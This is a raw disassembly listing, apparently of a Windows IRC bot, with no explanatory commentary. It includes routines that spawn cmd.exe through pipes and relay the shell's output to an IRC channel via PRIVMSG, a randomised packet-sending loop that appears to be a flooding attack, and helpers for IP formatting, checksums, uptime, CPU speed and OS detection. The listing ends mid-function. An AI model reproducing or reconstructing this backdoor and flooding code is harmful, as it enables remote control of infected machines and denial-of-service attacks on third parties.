loc_409F76: ; CODE XREF: sub_409EBC+55j
pop edi
pop esi
leave
retn
sub_409EBC endp
; =============== S U B R O U T I N E =======================================
sub_409F7A proc near ; CODE XREF: sub_4013E8+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43C594
cmp eax, 0FFFFFFFFh
jnz short locret_409FA2
push [esp+arg_0]
call dword_43C5D8
test eax, eax
jnz short loc_409F9B
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_409F9B: ; CODE XREF: sub_409F7A+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_409FA2: ; CODE XREF: sub_409F7A+Dj
retn
sub_409F7A endp
; =============== S U B R O U T I N E =======================================
sub_409FA3 proc near ; CODE XREF: sub_40CA58+D6p
mov ecx, dword_43C47C
xor eax, eax
test ecx, ecx
jz short locret_409FB1
jmp ecx
; ---------------------------------------------------------------------------
locret_409FB1: ; CODE XREF: sub_409FA3+Aj
retn
sub_409FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409FB2 proc near ; CODE XREF: sub_40CD3A:loc_411E19p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_43C5D0
mov ecx, eax
sub ecx, edi
jz short loc_40A039
sub ecx, 32h
jz loc_40A083
sub ecx, 48h
jz short loc_40A00E
sub ecx, 6Eh
jz short loc_40A007
loc_409FF0: ; CODE XREF: sub_409FB2+85j
push eax
lea eax, [ebp+var_88]
push offset unk_42B4C0
push eax
call sub_415316
add esp, 0Ch
jmp short loc_40A064
; ---------------------------------------------------------------------------
loc_40A007: ; CODE XREF: sub_409FB2+3Cj
push offset unk_42B484
jmp short loc_40A056
; ---------------------------------------------------------------------------
loc_40A00E: ; CODE XREF: sub_409FB2+37j
push [ebp+var_8]
call sub_415BE9
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_415390
add esp, 10h
cmp esi, edi
jz short loc_40A051
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_43C5D0
cmp eax, edi
jnz short loc_409FF0
loc_40A039: ; CODE XREF: sub_409FB2+29j
cmp [esi], edi
jbe short loc_40A074
lea ebx, [esi+4]
loc_40A040: ; CODE XREF: sub_409FB2+9Bj
push ebx
call dword_43C5CC
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A040
jmp short loc_40A074
; ---------------------------------------------------------------------------
loc_40A051: ; CODE XREF: sub_409FB2+75j
push offset unk_42B440
loc_40A056: ; CODE XREF: sub_409FB2+5Aj
; sub_409FB2+D6j
lea eax, [ebp+var_88]
push eax
call sub_415316
pop ecx
pop ecx
loc_40A064: ; CODE XREF: sub_409FB2+53j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_40B078
pop ecx
loc_40A074: ; CODE XREF: sub_409FB2+89j
; sub_409FB2+9Dj
push esi
call sub_415C9B
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A083: ; CODE XREF: sub_409FB2+2Ej
push offset unk_42B3F8
jmp short loc_40A056
sub_409FB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A08A proc near ; CODE XREF: sub_401444+231p
; sub_401BD4+253p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_43C4F8
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_43C880
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_415316
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40A08A endp
; =============== S U B R O U T I N E =======================================
sub_40A0E3 proc near ; CODE XREF: sub_4010B2+24Cp
; sub_4010B2+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40A10E
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40A101: ; CODE XREF: sub_40A0E3+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40A101
pop edi
jmp short loc_40A112
; ---------------------------------------------------------------------------
loc_40A10E: ; CODE XREF: sub_40A0E3+Aj
mov esi, [esp+4+arg_0]
loc_40A112: ; CODE XREF: sub_40A0E3+29j
test ecx, ecx
jz short loc_40A11B
movzx eax, byte ptr [esi]
add edx, eax
loc_40A11B: ; CODE XREF: sub_40A0E3+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40A0E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A133 proc near ; DATA XREF: sub_40CD3A+2CA8o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_43C4E0
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_43C594
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A18E
lea eax, [ebp+var_C0]
push eax
call dword_43C5D8
cmp eax, ebx
jz short loc_40A194
loc_40A18E: ; CODE XREF: sub_40A133+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40A1F1
loc_40A194: ; CODE XREF: sub_40A133+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B544
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A1D4
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412BD1
add esp, 14h
loc_40A1D4: ; CODE XREF: sub_40A133+7Fj
lea eax, [ebp+var_344]
push eax
call sub_40B078
push [ebp+var_30]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_40A1F1: ; CODE XREF: sub_40A133+5Fj
cmp eax, ebx
jz short loc_40A201
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40A204
; ---------------------------------------------------------------------------
loc_40A201: ; CODE XREF: sub_40A133+C0j
mov [ebp+var_4], esi
loc_40A204: ; CODE XREF: sub_40A133+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_415390
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40A224
mov [ebp+var_3C], eax
loc_40A224: ; CODE XREF: sub_40A133+ECj
cmp [ebp+var_38], edi
jge short loc_40A22C
mov [ebp+var_38], edi
loc_40A22C: ; CODE XREF: sub_40A133+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40A259
loc_40A233: ; CODE XREF: sub_40A133+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_43C478
inc esi
cmp esi, [ebp+var_40]
jl short loc_40A233
loc_40A259: ; CODE XREF: sub_40A133+FEj
push [ebp+arg_0]
call dword_43C608
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_42B504
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40A2A2
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_412BD1
add esp, 14h
loc_40A2A2: ; CODE XREF: sub_40A133+14Dj
lea eax, [ebp+var_344]
push eax
call sub_40B078
push [ebp+var_30]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40A133 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A2BF proc near ; DATA XREF: sub_40CD3A+2DE2o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
push 11h
push 2
push 2
call dword_43C5D4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_43C594
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40A3A4
lea eax, [ebp+var_B0]
push eax
call dword_43C5D8
cmp eax, edi
jnz short loc_40A39D
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B5C0
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A380
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412BD1
add esp, 14h
loc_40A380: ; CODE XREF: sub_40A2BF+9Fj
lea eax, [ebp+var_334]
push eax
call sub_40B078
push [ebp+var_20]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40A39D: ; CODE XREF: sub_40A2BF+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40A3A7
; ---------------------------------------------------------------------------
loc_40A3A4: ; CODE XREF: sub_40A2BF+6Ej
lea eax, [ebp+arg_0]
loc_40A3A7: ; CODE XREF: sub_40A2BF+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40A3C2
call sub_415372
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40A3C5
; ---------------------------------------------------------------------------
loc_40A3C2: ; CODE XREF: sub_40A2BF+F0j
push [ebp+var_24]
loc_40A3C5: ; CODE XREF: sub_40A2BF+101j
call dword_43C554
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40A3D7
mov [ebp+var_24], esi
loc_40A3D7: ; CODE XREF: sub_40A2BF+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40A3E4
mov [ebp+var_24], eax
loc_40A3E4: ; CODE XREF: sub_40A2BF+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40A3F8
mov [ebp+var_28], esi
loc_40A3F8: ; CODE XREF: sub_40A2BF+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40A471
loc_40A3FF: ; CODE XREF: sub_40A2BF+158j
call sub_415372
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40A3FF
jmp short loc_40A471
; ---------------------------------------------------------------------------
loc_40A41B: ; CODE XREF: sub_40A2BF+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_40A421: ; CODE XREF: sub_40A2BF+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_43C5B8
push [ebp+var_28]
call dword_421060 ; Sleep
dec esi
jnz short loc_40A421
cmp [ebp+var_24], edi
jnz short loc_40A471
call sub_415372
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_43C554
mov [ebp+var_E], ax
loc_40A471: ; CODE XREF: sub_40A2BF+13Ej
; sub_40A2BF+15Aj ...
cmp [ebp+var_30], edi
jg short loc_40A41B
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset dword_42B580
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40A4B9
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_412BD1
add esp, 14h
loc_40A4B9: ; CODE XREF: sub_40A2BF+1D8j
lea eax, [ebp+var_334]
push eax
call sub_40B078
push [ebp+var_20]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
sub_40A2BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40A4D6 proc near ; CODE XREF: sub_40A506+2Ap
; sub_40A53E+7Ep ...
mov eax, dword_43C894
push esi
mov esi, dword_42106C
cmp eax, 0FFFFFFFFh
jz short loc_40A4EA
push eax
call esi ; CloseHandle
loc_40A4EA: ; CODE XREF: sub_40A4D6+Fj
mov eax, dword_43C89C
cmp eax, 0FFFFFFFFh
jz short loc_40A4F7
push eax
call esi ; CloseHandle
loc_40A4F7: ; CODE XREF: sub_40A4D6+1Cj
mov eax, dword_43C890
cmp eax, 0FFFFFFFFh
jz short loc_40A504
push eax
call esi ; CloseHandle
loc_40A504: ; CODE XREF: sub_40A4D6+29j
pop esi
retn
sub_40A4D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A506 proc near ; CODE XREF: sub_40B459+14Ap
; sub_40CD3A+446Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_415B10
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_43C898
call dword_421070 ; WriteFile
test eax, eax
jnz short loc_40A539
call sub_40A4D6
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A539: ; CODE XREF: sub_40A506+28j
xor eax, eax
inc eax
leave
retn
sub_40A506 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A53E proc near ; CODE XREF: sub_40A5C5+D3p
; sub_40A5C5+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43B188
push [ebp+arg_4]
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40A581
push 7D0h
call dword_421060 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_415316
add esp, 10h
jmp short loc_40A598
; ---------------------------------------------------------------------------
loc_40A581: ; CODE XREF: sub_40A53E+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 0Ch
loc_40A598: ; CODE XREF: sub_40A53E+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43C5A4
test eax, eax
jg short loc_40A5C1
call sub_40A4D6
loc_40A5C1: ; CODE XREF: sub_40A53E+7Cj
xor eax, eax
leave
retn
sub_40A53E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; DATA XREF: sub_40A71A+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_43C8A0
loc_40A5DD: ; CODE XREF: sub_40A5C5+79j
; sub_40A5C5+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_43C894
call dword_421000 ; PeekNamedPipe
test eax, eax
jz loc_40A6AB
cmp [ebp+var_4], edi
jnz short loc_40A640
lea eax, [ebp+var_8]
push eax
push dword_43C890
call dword_4210FC ; GetExitCodeProcess
test eax, eax
jz short loc_40A636
cmp [ebp+var_8], 103h
jnz loc_40A6CF
loc_40A636: ; CODE XREF: sub_40A5C5+62j
push 0Ah
call dword_421060 ; Sleep
jmp short loc_40A5DD
; ---------------------------------------------------------------------------
loc_40A640: ; CODE XREF: sub_40A5C5+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40A657
loc_40A647: ; CODE XREF: sub_40A5C5+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_40A6A5
inc eax
cmp eax, [ebp+var_4]
jb short loc_40A647
loc_40A657: ; CODE XREF: sub_40A5C5+80j
mov [ebp+var_4], esi
loc_40A65A: ; CODE XREF: sub_40A5C5+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_43C894
call dword_421068 ; ReadFile
test eax, eax
jz short loc_40A6F7
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_43C8D4
call sub_40A53E
add esp, 0Ch
jmp loc_40A5DD
; ---------------------------------------------------------------------------
loc_40A6A5: ; CODE XREF: sub_40A5C5+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40A65A
; ---------------------------------------------------------------------------
loc_40A6AB: ; CODE XREF: sub_40A5C5+45j
push offset dword_42B690
push ebx
push dword_43C8D4
call sub_40A53E
push [ebp+arg_0]
call sub_4150F0
add esp, 10h
push 1
call dword_421048 ; ExitThread
loc_40A6CF: ; CODE XREF: sub_40A5C5+6Bj
call sub_40A4D6
push offset dword_42B654
push ebx
push dword_43C8D4
call sub_40A53E
push [ebp+arg_0]
call sub_4150F0
add esp, 10h
push edi
call dword_421048 ; ExitThread
loc_40A6F7: ; CODE XREF: sub_40A5C5+C3j
push offset dword_42B610
push ebx
push dword_43C8D4
call sub_40A53E
push [ebp+arg_0]
call sub_4150F0
add esp, 10h
push edi
call dword_421048 ; ExitThread
sub_40A5C5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A71A proc near ; CODE XREF: sub_40B459+99p
; sub_40CD3A+5167p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40A4D6
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_43C60C
test eax, eax
jz loc_40A814
lea eax, [ebp+var_1C]
mov edi, dword_421108
push esi
push eax
lea eax, [ebp+var_C]
xor ebx, ebx
push eax
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40A814
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40A814
mov edi, dword_421104
push 3
push esi
push esi
push offset dword_43C898
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_421100 ; DuplicateHandle
test eax, eax
jz short loc_40A814
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_415390
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43B188
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_4210EC ; CreateProcessA
test eax, eax
jnz short loc_40A81C
loc_40A814: ; CODE XREF: sub_40A71A+2Fj
; sub_40A71A+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40A8CA
; ---------------------------------------------------------------------------
loc_40A81C: ; CODE XREF: sub_40A71A+F8j
push [ebp+var_4]
mov edi, dword_42106C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_43C894, eax
mov eax, [ebp+var_8]
mov dword_43C89C, eax
mov eax, [ebp+var_2C]
mov dword_43C890, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_43C8D4, eax
jz short loc_40A856
push [ebp+arg_4]
jmp short loc_40A857
; ---------------------------------------------------------------------------
loc_40A856: ; CODE XREF: sub_40A71A+135j
push ebx
loc_40A857: ; CODE XREF: sub_40A71A+13Aj
push offset dword_43C8A0
call sub_415316
pop ecx
pop ecx
push esi
push 7
push offset dword_42B720
call sub_414DDA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_4416D0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40A5C5
push esi
push esi
call dword_42108C ; CreateThread
cmp eax, esi
loc_40A899: ; DATA XREF: seg001:00424F14o
; seg001:00424F58o ...
mov dword_4416DC[edi], eax
jnz short loc_40A8C8
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset dword_42B6D8
push eax
call sub_415316
lea eax, [ebp+var_378]
push eax
call sub_40B078
add esp, 10h
loc_40A8C8: ; CODE XREF: sub_40A71A+185j
xor eax, eax
loc_40A8CA: ; CODE XREF: sub_40A71A+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40A71A endp
; =============== S U B R O U T I N E =======================================
sub_40A8CF proc near ; CODE XREF: sub_407075+74p
; sub_40A9D8+217p ...
arg_0 = dword ptr 4
push esi
push edi
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_43C8D8
push 32h
push esi
call sub_41588A
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_40A8CF endp
; =============== S U B R O U T I N E =======================================
sub_40A922 proc near ; CODE XREF: sub_40A9D8+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_40A92A: ; CODE XREF: sub_40A922+2Fj
; sub_40A922+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_421060 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_417180
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_40A92A
jb short loc_40A959
cmp ebx, edi
ja short loc_40A92A
loc_40A959: ; CODE XREF: sub_40A922+31j
push 0
push 64h
push esi
push ebx
call sub_417100
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_40A9CC
jb short loc_40A978
cmp edi, 50h
jnb short loc_40A97D
loc_40A978: ; CODE XREF: sub_40A922+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40A97D: ; CODE XREF: sub_40A922+54j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A988
cmp edi, 47h
jnb short loc_40A98D
loc_40A988: ; CODE XREF: sub_40A922+5Fj
push 42h
xor edx, edx
pop eax
loc_40A98D: ; CODE XREF: sub_40A922+64j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A998
cmp edi, 37h
jnb short loc_40A99D
loc_40A998: ; CODE XREF: sub_40A922+6Fj
push 32h
xor edx, edx
pop eax
loc_40A99D: ; CODE XREF: sub_40A922+74j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A9A8
cmp edi, 26h
jnb short loc_40A9AD
loc_40A9A8: ; CODE XREF: sub_40A922+7Fj
push 21h
xor edx, edx
pop eax
loc_40A9AD: ; CODE XREF: sub_40A922+84j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A9B8
cmp edi, 1Eh
jnb short loc_40A9BD
loc_40A9B8: ; CODE XREF: sub_40A922+8Fj
push 19h
xor edx, edx
pop eax
loc_40A9BD: ; CODE XREF: sub_40A922+94j
test ecx, ecx
ja short loc_40A9CC
jb short loc_40A9C8
cmp edi, 0Ah
jnb short loc_40A9CC
loc_40A9C8: ; CODE XREF: sub_40A922+9Fj
xor eax, eax
xor edx, edx
loc_40A9CC: ; CODE XREF: sub_40A922+4Dj
; sub_40A922+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_40A922 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9D8 proc near ; CODE XREF: sub_40CD3A+53E3p
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43B188
mov [ebp+var_CC], 94h
call dword_42110C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40AA5F
cmp [ebp+var_C4], ebx
jnz short loc_40AA3B
cmp [ebp+var_BC], 1
jnz short loc_40AA25
mov [ebp+var_4], offset a95 ; "95"
loc_40AA25: ; CODE XREF: sub_40A9D8+44j
cmp [ebp+var_BC], 2
jnz loc_40AADA
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40AAAB
; ---------------------------------------------------------------------------
loc_40AA3B: ; CODE XREF: sub_40A9D8+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40AA4D
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA4D: ; CODE XREF: sub_40A9D8+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40AA9B
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA5F: ; CODE XREF: sub_40A9D8+33j
cmp [ebp+var_C8], 5
jnz short loc_40AA9B
cmp [ebp+var_C4], ebx
jnz short loc_40AA79
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40AAA2
; ---------------------------------------------------------------------------
loc_40AA79: ; CODE XREF: sub_40A9D8+96j
cmp [ebp+var_C4], 1
